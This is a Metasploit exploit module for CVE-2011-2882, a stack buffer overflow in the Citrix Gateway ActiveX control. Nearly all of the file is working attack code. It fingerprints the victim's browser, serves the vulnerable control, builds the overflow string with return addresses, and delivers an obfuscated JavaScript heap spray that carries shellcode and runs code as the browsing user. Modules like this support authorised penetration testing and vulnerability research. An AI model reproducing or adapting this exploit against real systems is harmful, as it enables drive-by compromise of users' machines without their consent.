Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability

##
# $Id: citrix_gateway_actx.rb 13670 2011-08-31 00:15:46Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability',
   'Description'    => %q{
     This module exploits a stack based buffer overflow in the Citrix Gateway
    ActiveX control. Exploitation of this vulnerability requires user interaction.
    The victim must click a button in a dialog to begin a scan. This is typical
    interaction that users should be accustom to.

     Exploitation results in code execution with the privileges of the user who
    browsed to the exploit page.
     },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Michal Trojnara', #Initial discovery
     'bannedit',
     'sinn3r',
    ],
   'Version'        => '$Revision: 13670 $',
   'References'     =>
    [
     [ 'CVE',  '2011-2882'],
     [ 'OSVDB', '74191'   ],
     [ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=929' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x0a\x0d\x20\x3b\x81\x83\x88\x90",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ],
     [ 'IE 6 on Windows XP SP3', { 'Ret' => 0x0c0c0c0c } ],
     [ 'IE 7 on Windows XP SP3', { 'Ret' => 0x0c0c0b0b } ],
     [ 'IE 7 on Windows Vista',  { 'Ret' => 0x0c0c0b0b } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jul 14 2011', #Coordinated public disclosure according to iDefense
   'DefaultTarget'  => 0))
 end

 def exploit
  @ocx = ::File.read(::File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-2882', 'nsepa.ocx'))
  super
 end

 def get_target(request)
  t = target
  agent = request.headers['User-Agent']

  vprint_status("User-Agent: #{agent}")

  if t.name =~ /Automatic/
   if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
    #Win XP + IE 6
    t = targets[1]
   elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
    #Win XP + IE 7
    t = targets[2]
   elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
    #Win Vista + IE7
    t = targets[2]
   elsif agent == 'nsepa'
    #Citrix Access Gateway requesting /epaq
    t = agent
   else
    #Target not supported
    t = nil
   end
  end

  return t, agent
 end

 def on_request_uri(cli, request)
  @mytarget, agent = get_target(request) if @mytarget.nil?
  vprint_status("Client requested: #{request.uri}.")

  #Target not supported, will not go on
  if @mytarget.nil?
   print_error("Target not supported: #{agent}")
   send_not_found(cli)
   return
  end

  if request.uri.match(/nsepa/)
   print_status("Sending nsepa.ocx to #{cli.peerhost}")
   send_response(cli, @ocx, { 'Content-Type' => 'application/binary' })
   return
  end

  if request.uri.match(/epaq/)
   padding = rand_text_alpha(300)

   csec = "eepa_0_"
   csec << padding[0, 259]
   csec << [@mytarget.ret].pack('V*')
   csec << padding[0, 68]

   result = rand_text_alpha(1000)
   send_response(cli, rand_text_alpha(30), { 'CSEC' => csec, 'RESULT' => result } )
   @mytarget = nil
   return
  end

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # payload in JS format
  code = Rex::Text.to_unescape(payload.encoded)

  #For debugging purposes: nops.substring(0,0x534) lands the payload exactly at 0x0c0c0c0c for IE6
  spray = <<-JS
  var heap_lib = new heapLib.ie(0x20000);
  var code = unescape("#{code}");
  var nops = unescape("%u0c0c%u0c0c");

  while (nops.length < 0x1000) nops += nops;
  var offset = nops.substring(0, 0x550);
  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

  while (shellcode.length < 0x20000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x10000-6)/2);

  heap_lib.gc();

  for (var i = 0; i < 0x6000; i++) {
   heap_lib.alloc(block);
  }
  JS

  spray = heaplib(spray)
  spray = ::Rex::Exploitation::JSObfu.new(spray)
  spray.obfuscate

  load = %Q|
  var d=document.getElementById("nsepadiv");
  if(d) {
   d.innerHTML=
   '<object id="nsepa" classid="CLSID:181BCAB2-C89B-4E4B-9E6B-59FA67A426B5" '+
   'width=1px height=1px codebase="#{get_resource}/epa/nsepa.ocx#version=8,0,59,1">' +
   '<param name="cookie" value="0123456789abcdef0123456789abcdef">'+
   '<param name="location" value="'+document.location+'">'+
   '<param name="trace" value="DEBUG">'+
   '<param name="vip" value="255.255.255.255">'+
   '</object>';
  } else {
    alert('Internal Error');
  }
|
  # the ret slide gets executed via call [esi+45b]
  html = <<-EOS
  <html>
  <body>
  <div id="nsepadiv"></div>
  <script language="javascript">
  #{spray}
  #{load}
  </script>
  </body>
  </html>
  EOS

  html = html.gsub(/^\t\t/, '')

  # we need to handle direct /epaq requests
  proc = Proc.new do |cli, req|
   on_request_uri(cli, req)
  end

  add_resource({'Path' => "/epaq", 'Proc' => proc}) rescue nil
  print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
  send_response(cli, html, { 'Content-Type' => 'text/html' })
 end
end